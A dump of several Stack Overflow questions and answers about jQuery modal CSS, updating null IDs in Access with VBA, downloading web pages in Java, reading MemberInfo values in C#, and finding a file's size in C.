I tried to override the settings in the default stlyesheet that comes with the simplemodal jquery plugin with containerCSS which is working fine in IE7 but not Firefox or Chrome. Not sure if this is a bug or I am doing something wrong. **jQuery code:** ``` $(document).ready(function() { $("#ButtonPopup").click(function() { $("#addEditTask").modal({ onOpen: modalOpen, persist: true, containerCss: ({ width: "300", height: "200", marginLeft: "-150" }) }); return false; }); }); ``` **HTML code:** ``` <button id="ButtonPopup">Popup</button> <div id="addEditTask" style="display:none;"> <p>Aliquam nonummy adipiscing augue. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas porttitor congue massa. Fusce posuere, magna sed pulvinar ultricies, purus lectus malesuada libero, sit amet commodo magna eros quis urna.</p> <button id="ButtonSave">Save</button> <button id="ButtonCancel">Cancel</button> </div> ``` Please see [this](http://beckelman.net/issues/simplemodalfirefoxproblem/default.aspx) for a working demo and zip download of the code that you can test for yourself.
Gecko and WebKit based browsers really like their units. Make sure you always tell it how to measure your values. Also as a note, if you want to override inline styles from a css file, you can do so by adding !important to the end of the value. height: 300px !important; will override the inline styles. Cheers!
238,537
<p>I am new to Access. I have a table full of records. I want to write a function to check if any id is null or empty. If so, I want to update it with xxxxx. The check for id must be run through all tables in a database. Can anyone provide some sample code?</p>
[ { "answer_id": 238551, "author": "Daren Thomas", "author_id": 2260, "author_profile": "https://Stackoverflow.com/users/2260", "pm_score": 1, "selected": false, "text": "<p>I'm not sure if you are going to be able to find all tables in the database with Access SQL. Instead, you might want to write up some VBA to loop through the tables and generate some SQL for each table. Something along the lines of:</p>\n\n<pre><code>update TABLE set FIELD = 'xxxxxx' where ID is null\n</code></pre>\n" }, { "answer_id": 238709, "author": "micahwittman", "author_id": 11181, "author_profile": "https://Stackoverflow.com/users/11181", "pm_score": -1, "selected": false, "text": "<p>I'm calling it the <em>UpdateFieldWhereNull</em> Function, and shown is a Subroutine which calls it (<em>adapted from <a href=\"http://www.aislebyaisle.com/access/vba_backend_code.htm\" rel=\"nofollow noreferrer\">http://www.aislebyaisle.com/access/vba_backend_code.htm</a></em>)</p>\n\n<p>It updates all tables in the <em>DbPath</em> parameter (<em>not tested, handle with care</em>):</p>\n\n<pre><code>Function UpdateFieldWhereNull(DbPath As String, fieldName as String, newFieldValue as String) As Boolean\n 'This links to all the tables that reside in DbPath,\n ' whether or not they already reside in this database.\n 'This works when linking to an Access .mdb file, not to ODBC.\n 'This keeps the same table name on the front end as on the back end.\n Dim rs As Recordset\n\n On Error Resume Next\n\n 'get tables in back end database\n Set rs = CurrentDb.OpenRecordset(\"SELECT Name \" &amp; _\n \"FROM MSysObjects IN '\" &amp; DbPath &amp; \"' \" &amp; _\n \"WHERE Type=1 AND Flags=0\")\n If Err &lt;&gt; 0 Then Exit Function\n\n 'update field in tables\n While Not rs.EOF\n If DbPath &lt;&gt; Nz(DLookup(\"Database\", \"MSysObjects\", \"Name='\" &amp; rs!Name &amp; \"' And Type=6\")) Then\n\n 'UPDATE the field with new value if null\n DoCmd.RunSQL \"UPDATE \" &amp; acTable &amp; \" SET [\" &amp; fieldName &amp; \"] = '\" &amp; newFieldValue &amp; \"' WHERE [\" &amp; fieldName &amp; \"] IS NULL\"\n\n End If\n rs.MoveNext\n Wend\n rs.Close\n\n UpdateFieldWhereNull = True\nEnd Function\n\n\nSub CallUpdateFieldWhereNull()\n Dim Result As Boolean\n\n 'Sample call:\n Result = UpdateFieldWhereNull(\"C:\\Program Files\\Microsoft Office\\Office\\Samples\\Northwind.mdb\", \"ID\", \"xxxxxx\")\n Debug.Print Result\nEnd Sub\n</code></pre>\n" }, { "answer_id": 265688, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Check out the Nz() function. It leaves fields unaltered unless they're null, when it replaces them by whatever you specify.</p>\n\n<p>For reasonable numbers and sizes of tables, it can be quicker to just </p>\n\n<ul>\n<li>open them </li>\n<li>sort by each field in turn</li>\n<li>inspect for null values and replace manually</li>\n</ul>\n\n<p>It's good practice to find out where the nulls are coming from and stop them - give fields default values, use Nz() on inputs. And have your code handle any nulls that slip through the net.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238537", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I am new to Access. I have a table full of records. I want to write a function to check if any id is null or empty. If so, I want to update it with xxxxx. The check for id must be run through all tables in a database. Can anyone provide some sample code?
I'm not sure if you are going to be able to find all tables in the database with Access SQL. Instead, you might want to write up some VBA to loop through the tables and generate some SQL for each table. Something along the lines of: ``` update TABLE set FIELD = 'xxxxxx' where ID is null ```
238,547
<p>I would like to be able to fetch a web page's html and save it to a <code>String</code>, so I can do some processing on it. Also, how could I handle various types of compression.</p> <p>How would I go about doing that using Java?</p>
[ { "answer_id": 238556, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 4, "selected": false, "text": "<p>Well, you could go with the built-in libraries such as <a href=\"http://java.sun.com/javase/6/docs/api/java/net/URL.html\" rel=\"noreferrer\">URL</a> and <a href=\"http://java.sun.com/javase/6/docs/api/java/net/URLConnection.html\" rel=\"noreferrer\">URLConnection</a>, but they don't give very much control.</p>\n\n<p><s>Personally I'd go with the <a href=\"http://hc.apache.org/httpclient-3.x/\" rel=\"noreferrer\">Apache HTTPClient</a> library.</s><br>\n<strong>Edit:</strong> HTTPClient has been set to <em>end of life</em> by Apache. The replacement is: <a href=\"http://hc.apache.org/\" rel=\"noreferrer\">HTTP Components</a></p>\n" }, { "answer_id": 238585, "author": "Timo Geusch", "author_id": 29068, "author_profile": "https://Stackoverflow.com/users/29068", "pm_score": 0, "selected": false, "text": "<p>On a Unix/Linux box you could just run 'wget' but this is not really an option if you're writing a cross-platform client. Of course this assumes that you don't really want to do much with the data you download between the point of downloading it and it hitting the disk.</p>\n" }, { "answer_id": 238634, "author": "Bill the Lizard", "author_id": 1288, "author_profile": "https://Stackoverflow.com/users/1288", "pm_score": 8, "selected": true, "text": "<p>Here's some tested code using Java's <a href=\"http://java.sun.com/javase/6/docs/api/java/net/URL.html\" rel=\"noreferrer\">URL</a> class. I'd recommend do a better job than I do here of handling the exceptions or passing them up the call stack, though.</p>\n\n<pre><code>public static void main(String[] args) {\n URL url;\n InputStream is = null;\n BufferedReader br;\n String line;\n\n try {\n url = new URL(\"http://stackoverflow.com/\");\n is = url.openStream(); // throws an IOException\n br = new BufferedReader(new InputStreamReader(is));\n\n while ((line = br.readLine()) != null) {\n System.out.println(line);\n }\n } catch (MalformedURLException mue) {\n mue.printStackTrace();\n } catch (IOException ioe) {\n ioe.printStackTrace();\n } finally {\n try {\n if (is != null) is.close();\n } catch (IOException ioe) {\n // nothing to see here\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 2582771, "author": "jjnguy", "author_id": 2598, "author_profile": "https://Stackoverflow.com/users/2598", "pm_score": 5, "selected": false, "text": "<p>Bill's answer is very good, but you may want to do some things with the request like compression or user-agents. The following code shows how you can various types of compression to your requests.</p>\n\n<pre><code>URL url = new URL(urlStr);\nHttpURLConnection conn = (HttpURLConnection) url.openConnection(); // Cast shouldn't fail\nHttpURLConnection.setFollowRedirects(true);\n// allow both GZip and Deflate (ZLib) encodings\nconn.setRequestProperty(\"Accept-Encoding\", \"gzip, deflate\");\nString encoding = conn.getContentEncoding();\nInputStream inStr = null;\n\n// create the appropriate stream wrapper based on\n// the encoding type\nif (encoding != null &amp;&amp; encoding.equalsIgnoreCase(\"gzip\")) {\n inStr = new GZIPInputStream(conn.getInputStream());\n} else if (encoding != null &amp;&amp; encoding.equalsIgnoreCase(\"deflate\")) {\n inStr = new InflaterInputStream(conn.getInputStream(),\n new Inflater(true));\n} else {\n inStr = conn.getInputStream();\n}\n</code></pre>\n\n<p>To also set the user-agent add the following code:</p>\n\n<pre><code>conn.setRequestProperty ( \"User-agent\", \"my agent name\");\n</code></pre>\n" }, { "answer_id": 4571551, "author": "BalusC", "author_id": 157882, "author_profile": "https://Stackoverflow.com/users/157882", "pm_score": 8, "selected": false, "text": "<p>I'd use a decent HTML parser like <a href=\"http://jsoup.org\" rel=\"noreferrer\">Jsoup</a>. It's then as easy as:</p>\n<pre><code>String html = Jsoup.connect(&quot;http://stackoverflow.com&quot;).get().html();\n</code></pre>\n<p>It handles GZIP and chunked responses and character encoding fully transparently. It offers more advantages as well, like HTML <a href=\"http://jsoup.org/cookbook/extracting-data/selector-syntax\" rel=\"noreferrer\">traversing</a> and <a href=\"http://jsoup.org/cookbook/modifying-data/set-html\" rel=\"noreferrer\">manipulation</a> by CSS selectors like as jQuery can do. You only have to grab it as <code>Document</code>, not as a <code>String</code>.</p>\n<pre><code>Document document = Jsoup.connect(&quot;http://google.com&quot;).get();\n</code></pre>\n<p>You really <a href=\"http://www.codinghorror.com/blog/2009/11/parsing-html-the-cthulhu-way.html\" rel=\"noreferrer\">don't</a> want to run basic String methods or even regex on HTML to process it.</p>\n<h3>See also:</h3>\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/3152138/what-are-the-pros-and-cons-of-the-leading-java-html-parsers\">What are the pros and cons of leading HTML parsers in Java?</a></li>\n</ul>\n" }, { "answer_id": 23952447, "author": "user3690910", "author_id": 3690910, "author_profile": "https://Stackoverflow.com/users/3690910", "pm_score": 3, "selected": false, "text": "<p>All the above mentioned approaches do not download the web page text as it looks in the browser. these days a lot of data is loaded into browsers through scripts in html pages. none of above mentioned techniques supports scripts, they just downloads the html text only. HTMLUNIT supports the javascripts. so if you are looking to download the web page text as it looks in the browser then you should use <a href=\"http://htmlunit.sourceforge.net\" rel=\"noreferrer\">HTMLUNIT</a>.</p>\n" }, { "answer_id": 39023500, "author": "Jan Bodnar", "author_id": 2008247, "author_profile": "https://Stackoverflow.com/users/2008247", "pm_score": 0, "selected": false, "text": "<p>Jetty has an HTTP client which can be use to download a web page.</p>\n<pre><code>package com.zetcode;\n\nimport org.eclipse.jetty.client.HttpClient;\nimport org.eclipse.jetty.client.api.ContentResponse;\n\npublic class ReadWebPageEx5 {\n\n public static void main(String[] args) throws Exception {\n\n HttpClient client = null;\n\n try {\n\n client = new HttpClient();\n client.start();\n \n String url = &quot;http://example.com&quot;;\n\n ContentResponse res = client.GET(url);\n\n System.out.println(res.getContentAsString());\n\n } finally {\n\n if (client != null) {\n\n client.stop();\n }\n }\n }\n}\n</code></pre>\n<p>The example prints the contents of a simple web page.</p>\n<p>In a <a href=\"https://zetcode.com/java/readwebpage/\" rel=\"nofollow noreferrer\">Reading a web page in Java</a> tutorial I have written six examples of dowloading a web page programmaticaly in Java using URL, JSoup, HtmlCleaner, Apache HttpClient, Jetty HttpClient, and HtmlUnit.</p>\n" }, { "answer_id": 46949580, "author": "A_01", "author_id": 2683452, "author_profile": "https://Stackoverflow.com/users/2683452", "pm_score": -1, "selected": false, "text": "<blockquote>\n <p>I used the actual answer to this post (<a href=\"https://stackoverflow.com/a/238634/2683452\">url</a>) and writing the output into a\n file.</p>\n</blockquote>\n\n<pre><code>package test;\n\nimport java.net.*;\nimport java.io.*;\n\npublic class PDFTest {\n public static void main(String[] args) throws Exception {\n try {\n URL oracle = new URL(\"http://www.fetagracollege.org\");\n BufferedReader in = new BufferedReader(new InputStreamReader(oracle.openStream()));\n\n String fileName = \"D:\\\\a_01\\\\output.txt\";\n\n PrintWriter writer = new PrintWriter(fileName, \"UTF-8\");\n OutputStream outputStream = new FileOutputStream(fileName);\n String inputLine;\n\n while ((inputLine = in.readLine()) != null) {\n System.out.println(inputLine);\n writer.println(inputLine);\n }\n in.close();\n } catch(Exception e) {\n\n }\n\n }\n}\n</code></pre>\n" }, { "answer_id": 47848212, "author": "Sohaib Aslam", "author_id": 8660085, "author_profile": "https://Stackoverflow.com/users/8660085", "pm_score": 0, "selected": false, "text": "<p><strong>Get help from this class it get code and filter some information.</strong></p>\n\n\n\n<pre><code>public class MainActivity extends AppCompatActivity {\n\n EditText url;\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate( savedInstanceState );\n setContentView( R.layout.activity_main );\n\n url = ((EditText)findViewById( R.id.editText));\n DownloadCode obj = new DownloadCode();\n\n try {\n String des=\" \";\n\n String tag1= \"&lt;div class=\\\"description\\\"&gt;\";\n String l = obj.execute( \"http://www.nu.edu.pk/Campus/Chiniot-Faisalabad/Faculty\" ).get();\n\n url.setText( l );\n url.setText( \" \" );\n\n String[] t1 = l.split(tag1);\n String[] t2 = t1[0].split( \"&lt;/div&gt;\" );\n url.setText( t2[0] );\n\n }\n catch (Exception e)\n {\n Toast.makeText( this,e.toString(),Toast.LENGTH_SHORT ).show();\n }\n\n }\n // input, extrafunctionrunparallel, output\n class DownloadCode extends AsyncTask&lt;String,Void,String&gt;\n {\n @Override\n protected String doInBackground(String... WebAddress) // string of webAddress separate by ','\n {\n String htmlcontent = \" \";\n try {\n URL url = new URL( WebAddress[0] );\n HttpURLConnection c = (HttpURLConnection) url.openConnection();\n c.connect();\n InputStream input = c.getInputStream();\n int data;\n InputStreamReader reader = new InputStreamReader( input );\n\n data = reader.read();\n\n while (data != -1)\n {\n char content = (char) data;\n htmlcontent+=content;\n data = reader.read();\n }\n }\n catch (Exception e)\n {\n Log.i(\"Status : \",e.toString());\n }\n return htmlcontent;\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 53024745, "author": "Supercoder", "author_id": 9486645, "author_profile": "https://Stackoverflow.com/users/9486645", "pm_score": 2, "selected": false, "text": "<p>You'd most likely need to extract code from a secure web page (https protocol). In the following example, the html file is being saved into c:\\temp\\filename.html Enjoy!</p>\n\n<pre><code>import java.io.BufferedReader;\nimport java.io.BufferedWriter;\nimport java.io.FileWriter;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.net.URL;\n\nimport javax.net.ssl.HttpsURLConnection;\n\n/**\n * &lt;b&gt;Get the Html source from the secure url &lt;/b&gt;\n */\npublic class HttpsClientUtil {\n public static void main(String[] args) throws Exception {\n String httpsURL = \"https://stackoverflow.com\";\n String FILENAME = \"c:\\\\temp\\\\filename.html\";\n BufferedWriter bw = new BufferedWriter(new FileWriter(FILENAME));\n URL myurl = new URL(httpsURL);\n HttpsURLConnection con = (HttpsURLConnection) myurl.openConnection();\n con.setRequestProperty ( \"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0\" );\n InputStream ins = con.getInputStream();\n InputStreamReader isr = new InputStreamReader(ins, \"Windows-1252\");\n BufferedReader in = new BufferedReader(isr);\n String inputLine;\n\n // Write each line into the file\n while ((inputLine = in.readLine()) != null) {\n System.out.println(inputLine);\n bw.write(inputLine);\n }\n in.close(); \n bw.close();\n }\n}\n</code></pre>\n" }, { "answer_id": 62395467, "author": "Jan Tibar", "author_id": 11820594, "author_profile": "https://Stackoverflow.com/users/11820594", "pm_score": 1, "selected": false, "text": "<p>To do so using NIO.2 powerful Files.copy(InputStream in, Path target):</p>\n\n<pre><code>URL url = new URL( \"http://download.me/\" );\nFiles.copy( url.openStream(), Paths.get(\"downloaded.html\" ) );\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238547", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2598/" ]
I would like to be able to fetch a web page's html and save it to a `String`, so I can do some processing on it. Also, how could I handle various types of compression. How would I go about doing that using Java?
Here's some tested code using Java's [URL](http://java.sun.com/javase/6/docs/api/java/net/URL.html) class. I'd recommend do a better job than I do here of handling the exceptions or passing them up the call stack, though. ``` public static void main(String[] args) { URL url; InputStream is = null; BufferedReader br; String line; try { url = new URL("http://stackoverflow.com/"); is = url.openStream(); // throws an IOException br = new BufferedReader(new InputStreamReader(is)); while ((line = br.readLine()) != null) { System.out.println(line); } } catch (MalformedURLException mue) { mue.printStackTrace(); } catch (IOException ioe) { ioe.printStackTrace(); } finally { try { if (is != null) is.close(); } catch (IOException ioe) { // nothing to see here } } } ```
238,555
<p>How do I get the value of a <code>MemberInfo</code> object? <code>.Name</code> returns the name of the variable, but I need the value. </p> <p>I think you can do this with <code>FieldInfo</code> but I don't have a snippet, if you know how to do this can you provide a snippet??</p> <p>Thanks!</p>
[ { "answer_id": 238562, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 5, "selected": false, "text": "<p>Here's an example for fields, using <a href=\"http://msdn.microsoft.com/en-us/library/system.reflection.fieldinfo.getvalue.aspx\" rel=\"noreferrer\">FieldInfo.GetValue</a>:</p>\n\n<pre><code>using System;\nusing System.Reflection;\n\npublic class Test\n{\n // public just for the sake of a short example.\n public int x;\n\n static void Main()\n {\n FieldInfo field = typeof(Test).GetField(\"x\");\n Test t = new Test();\n t.x = 10;\n\n Console.WriteLine(field.GetValue(t));\n }\n}\n</code></pre>\n\n<p>Similar code will work for properties using <a href=\"http://msdn.microsoft.com/en-us/library/system.reflection.propertyinfo.getvalue.aspx\" rel=\"noreferrer\">PropertyInfo.GetValue()</a> - although there you also need to pass the values for any parameters to the properties. (There won't be any for \"normal\" C# properties, but C# indexers count as properties too as far as the framework is concerned.) For methods, you'll need to call <a href=\"http://msdn.microsoft.com/en-us/library/system.reflection.methodbase.invoke.aspx\" rel=\"noreferrer\">Invoke</a> if you want to call the method and use the return value.</p>\n" }, { "answer_id": 238663, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 4, "selected": false, "text": "<p>Jon's answer is ideal - just one observation: as part of general design, I would:</p>\n\n<ol>\n<li><em>generally</em> avoid reflecting against\nnon-public members</li>\n<li>avoid having public fields (almost always)</li>\n</ol>\n\n<p>The upshot of these two is that <em>generally</em> you only need to reflect against public properties (you shouldn't be calling methods unless you know what they do; property getters are <em>expected</em> to be idempotent [lazy loading aside]). So for a <code>PropertyInfo</code> this is just <code>prop.GetValue(obj, null);</code>.</p>\n\n<p>Actually, I'm a big fan of <code>System.ComponentModel</code>, so I would be tempted to use:</p>\n\n<pre><code> foreach(PropertyDescriptor prop in TypeDescriptor.GetProperties(obj))\n {\n Console.WriteLine(\"{0}={1}\", prop.Name, prop.GetValue(obj));\n }\n</code></pre>\n\n<p>or for a specific property:</p>\n\n<pre><code> PropertyDescriptor prop = TypeDescriptor.GetProperties(obj)[\"SomeProperty\"];\n Console.WriteLine(\"{0}={1}\", prop.Name, prop.GetValue(obj));\n</code></pre>\n\n<p>One advantage of <code>System.ComponentModel</code> is that it will work with abstracted data models, such as how a <code>DataView</code> exposes columns as virtual properties; there are other tricks too (like <a href=\"http://www.codeproject.com/KB/cs/HyperPropertyDescriptor.aspx\" rel=\"noreferrer\">performance tricks</a>).</p>\n" }, { "answer_id": 33446914, "author": "EJHewy", "author_id": 4736631, "author_profile": "https://Stackoverflow.com/users/4736631", "pm_score": 6, "selected": false, "text": "<p>Although I generally agree with Marc's point about not reflecting fields, there are times when it is needed. If you want to reflect a member and you don't care whether it is a field or a property, you can use this extension method to get the value (if you want the type instead of the value, see nawful's answer to <a href=\"https://stackoverflow.com/questions/15921608/getting-the-type-of-a-memberinfo-with-reflection\">this question</a>):</p>\n\n<pre><code> public static object GetValue(this MemberInfo memberInfo, object forObject)\n {\n switch (memberInfo.MemberType)\n {\n case MemberTypes.Field:\n return ((FieldInfo)memberInfo).GetValue(forObject);\n case MemberTypes.Property:\n return ((PropertyInfo)memberInfo).GetValue(forObject);\n default:\n throw new NotImplementedException();\n }\n } \n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238555", "https://Stackoverflow.com", "https://Stackoverflow.com/users/49611/" ]
How do I get the value of a `MemberInfo` object? `.Name` returns the name of the variable, but I need the value. I think you can do this with `FieldInfo` but I don't have a snippet, if you know how to do this can you provide a snippet?? Thanks!
Although I generally agree with Marc's point about not reflecting fields, there are times when it is needed. If you want to reflect a member and you don't care whether it is a field or a property, you can use this extension method to get the value (if you want the type instead of the value, see nawful's answer to [this question](https://stackoverflow.com/questions/15921608/getting-the-type-of-a-memberinfo-with-reflection)): ``` public static object GetValue(this MemberInfo memberInfo, object forObject) { switch (memberInfo.MemberType) { case MemberTypes.Field: return ((FieldInfo)memberInfo).GetValue(forObject); case MemberTypes.Property: return ((PropertyInfo)memberInfo).GetValue(forObject); default: throw new NotImplementedException(); } } ```
238,603
<p>How can I find out the size of a file I opened with an application written in C ? I would like to know the size, because I want to put the content of the loaded file into a string, which I allocate using <code>malloc()</code>. Just writing <code>malloc(10000*sizeof(char));</code> is IMHO a bad idea. </p>
[ { "answer_id": 238607, "author": "Rob Walker", "author_id": 3631, "author_profile": "https://Stackoverflow.com/users/3631", "pm_score": 10, "selected": true, "text": "<p>You need to seek to the end of the file and then ask for the position:</p>\n\n<pre><code>fseek(fp, 0L, SEEK_END);\nsz = ftell(fp);\n</code></pre>\n\n<p>You can then seek back, e.g.:</p>\n\n<pre><code>fseek(fp, 0L, SEEK_SET);\n</code></pre>\n\n<p>or (if seeking to go to the beginning)</p>\n\n<pre><code>rewind(fp);\n</code></pre>\n" }, { "answer_id": 238609, "author": "Greg Hewgill", "author_id": 893, "author_profile": "https://Stackoverflow.com/users/893", "pm_score": 9, "selected": false, "text": "<h2>Using standard library:</h2>\n\n<p>Assuming that your implementation meaningfully supports SEEK_END:</p>\n\n<pre><code>fseek(f, 0, SEEK_END); // seek to end of file\nsize = ftell(f); // get current file pointer\nfseek(f, 0, SEEK_SET); // seek back to beginning of file\n// proceed with allocating memory and reading the file\n</code></pre>\n\n<h2>Linux/POSIX:</h2>\n\n<p>You can use <code>stat</code> (if you know the filename), or <code>fstat</code> (if you have the file descriptor).</p>\n\n<p>Here is an example for stat:</p>\n\n<pre><code>#include &lt;sys/stat.h&gt;\nstruct stat st;\nstat(filename, &amp;st);\nsize = st.st_size;\n</code></pre>\n\n<h2>Win32:</h2>\n\n<p>You can use <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa364955(v=vs.85).aspx\" rel=\"noreferrer\">GetFileSize</a> or <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa364957(v=vs.85).aspx\" rel=\"noreferrer\">GetFileSizeEx</a>.</p>\n" }, { "answer_id": 238641, "author": "Ben Combee", "author_id": 1323, "author_profile": "https://Stackoverflow.com/users/1323", "pm_score": 3, "selected": false, "text": "<p>If you're on Linux, seriously consider just using the <a href=\"https://developer.gnome.org/glib/stable/glib-File-Utilities.html#g-file-get-contents\" rel=\"nofollow noreferrer\"><strong>g_file_get_contents</strong></a> function from glib. It handles all the code for loading a file, allocating memory, and handling errors.</p>\n" }, { "answer_id": 238644, "author": "PiedPiper", "author_id": 19315, "author_profile": "https://Stackoverflow.com/users/19315", "pm_score": 7, "selected": false, "text": "<p>If you have the file descriptor <code>fstat()</code> returns a stat structure which contain the file size.</p>\n\n<pre><code>#include &lt;sys/types.h&gt;\n#include &lt;sys/stat.h&gt;\n#include &lt;unistd.h&gt;\n\n// fd = fileno(f); //if you have a stream (e.g. from fopen), not a file descriptor.\nstruct stat buf;\nfstat(fd, &amp;buf);\noff_t size = buf.st_size;\n</code></pre>\n" }, { "answer_id": 246855, "author": "plan9assembler", "author_id": 1710672, "author_profile": "https://Stackoverflow.com/users/1710672", "pm_score": -1, "selected": false, "text": "<pre><code>#include &lt;stdio.h&gt;\n\n#define MAXNUMBER 1024\n\nint main()\n{\n int i;\n char a[MAXNUMBER];\n\n FILE *fp = popen(\"du -b /bin/bash\", \"r\");\n\n while((a[i++] = getc(fp))!= 9)\n ;\n\n a[i] ='\\0';\n\n printf(\" a is %s\\n\", a);\n\n pclose(fp);\n return 0;\n} \n</code></pre>\n\n<p>HTH</p>\n" }, { "answer_id": 1643801, "author": "Pat Morin", "author_id": 198911, "author_profile": "https://Stackoverflow.com/users/198911", "pm_score": 3, "selected": false, "text": "<p>Have you considered not computing the file size and just growing the array if necessary? Here's an example (with error checking ommitted):</p>\n\n<pre><code>#define CHUNK 1024\n\n/* Read the contents of a file into a buffer. Return the size of the file \n * and set buf to point to a buffer allocated with malloc that contains \n * the file contents.\n */\nint read_file(FILE *fp, char **buf) \n{\n int n, np;\n char *b, *b2;\n\n n = CHUNK;\n np = n;\n b = malloc(sizeof(char)*n);\n while ((r = fread(b, sizeof(char), CHUNK, fp)) &gt; 0) {\n n += r;\n if (np - n &lt; CHUNK) { \n np *= 2; // buffer is too small, the next read could overflow!\n b2 = malloc(np*sizeof(char));\n memcpy(b2, b, n * sizeof(char));\n free(b);\n b = b2;\n }\n }\n *buf = b;\n return n;\n}\n</code></pre>\n\n<p>This has the advantage of working even for streams in which it is impossible to get the file size (like stdin).</p>\n" }, { "answer_id": 2003824, "author": "lezard", "author_id": 243621, "author_profile": "https://Stackoverflow.com/users/243621", "pm_score": 4, "selected": false, "text": "<p>How to use <em><strong>lseek</strong></em>/<em><strong>fseek</strong></em>/<em><strong>stat</strong></em>/<em><strong>fstat</strong></em> to get filesize ?</p>\n<pre><code>#include &lt;fcntl.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;sys/stat.h&gt;\n\nvoid\nfseek_filesize(const char *filename)\n{\n FILE *fp = NULL;\n long off;\n\n fp = fopen(filename, &quot;r&quot;);\n if (fp == NULL)\n {\n printf(&quot;failed to fopen %s\\n&quot;, filename);\n exit(EXIT_FAILURE);\n }\n\n if (fseek(fp, 0, SEEK_END) == -1)\n {\n printf(&quot;failed to fseek %s\\n&quot;, filename);\n exit(EXIT_FAILURE);\n }\n\n off = ftell(fp);\n if (off == -1)\n {\n printf(&quot;failed to ftell %s\\n&quot;, filename);\n exit(EXIT_FAILURE);\n }\n\n printf(&quot;[*] fseek_filesize - file: %s, size: %ld\\n&quot;, filename, off);\n\n if (fclose(fp) != 0)\n {\n printf(&quot;failed to fclose %s\\n&quot;, filename);\n exit(EXIT_FAILURE);\n }\n}\n\nvoid\nfstat_filesize(const char *filename)\n{\n int fd;\n struct stat statbuf;\n\n fd = open(filename, O_RDONLY, S_IRUSR | S_IRGRP);\n if (fd == -1)\n {\n printf(&quot;failed to open %s\\n&quot;, filename);\n exit(EXIT_FAILURE);\n }\n\n if (fstat(fd, &amp;statbuf) == -1)\n {\n printf(&quot;failed to fstat %s\\n&quot;, filename);\n exit(EXIT_FAILURE);\n }\n\n printf(&quot;[*] fstat_filesize - file: %s, size: %lld\\n&quot;, filename, statbuf.st_size);\n\n if (close(fd) == -1)\n {\n printf(&quot;failed to fclose %s\\n&quot;, filename);\n exit(EXIT_FAILURE);\n }\n}\n\nvoid\nstat_filesize(const char *filename)\n{\n struct stat statbuf;\n\n if (stat(filename, &amp;statbuf) == -1)\n {\n printf(&quot;failed to stat %s\\n&quot;, filename);\n exit(EXIT_FAILURE);\n }\n\n printf(&quot;[*] stat_filesize - file: %s, size: %lld\\n&quot;, filename, statbuf.st_size);\n\n}\n\nvoid\nseek_filesize(const char *filename)\n{\n int fd;\n off_t off;\n\n if (filename == NULL)\n {\n printf(&quot;invalid filename\\n&quot;);\n exit(EXIT_FAILURE);\n }\n\n fd = open(filename, O_RDONLY, S_IRUSR | S_IRGRP);\n if (fd == -1)\n {\n printf(&quot;failed to open %s\\n&quot;, filename);\n exit(EXIT_FAILURE);\n }\n\n off = lseek(fd, 0, SEEK_END);\n if (off == -1)\n {\n printf(&quot;failed to lseek %s\\n&quot;, filename);\n exit(EXIT_FAILURE);\n }\n\n printf(&quot;[*] seek_filesize - file: %s, size: %lld\\n&quot;, filename, (long long) off);\n\n if (close(fd) == -1)\n {\n printf(&quot;failed to close %s\\n&quot;, filename);\n exit(EXIT_FAILURE);\n }\n}\n\nint\nmain(int argc, const char *argv[])\n{\n int i;\n\n if (argc &lt; 2)\n {\n printf(&quot;%s &lt;file1&gt; &lt;file2&gt;...\\n&quot;, argv[0]);\n exit(0);\n }\n\n for(i = 1; i &lt; argc; i++)\n {\n seek_filesize(argv[i]);\n stat_filesize(argv[i]);\n fstat_filesize(argv[i]);\n fseek_filesize(argv[i]);\n }\n\n return 0;\n}\n</code></pre>\n" }, { "answer_id": 5446759, "author": "Earlz", "author_id": 69742, "author_profile": "https://Stackoverflow.com/users/69742", "pm_score": 5, "selected": false, "text": "<p>I ended up just making a short and sweet <code>fsize</code> function(note, no error checking)</p>\n\n<pre><code>int fsize(FILE *fp){\n int prev=ftell(fp);\n fseek(fp, 0L, SEEK_END);\n int sz=ftell(fp);\n fseek(fp,prev,SEEK_SET); //go back to where we were\n return sz;\n}\n</code></pre>\n\n<p>It's kind of silly that the standard C library doesn't have such a function, but I can see why it'd be difficult as not every \"file\" has a size(for instance <code>/dev/null</code>) </p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238603", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25017/" ]
How can I find out the size of a file I opened with an application written in C ? I would like to know the size, because I want to put the content of the loaded file into a string, which I allocate using `malloc()`. Just writing `malloc(10000*sizeof(char));` is IMHO a bad idea.
You need to seek to the end of the file and then ask for the position: ``` fseek(fp, 0L, SEEK_END); sz = ftell(fp); ``` You can then seek back, e.g.: ``` fseek(fp, 0L, SEEK_SET); ``` or (if seeking to go to the beginning) ``` rewind(fp); ```
238,606
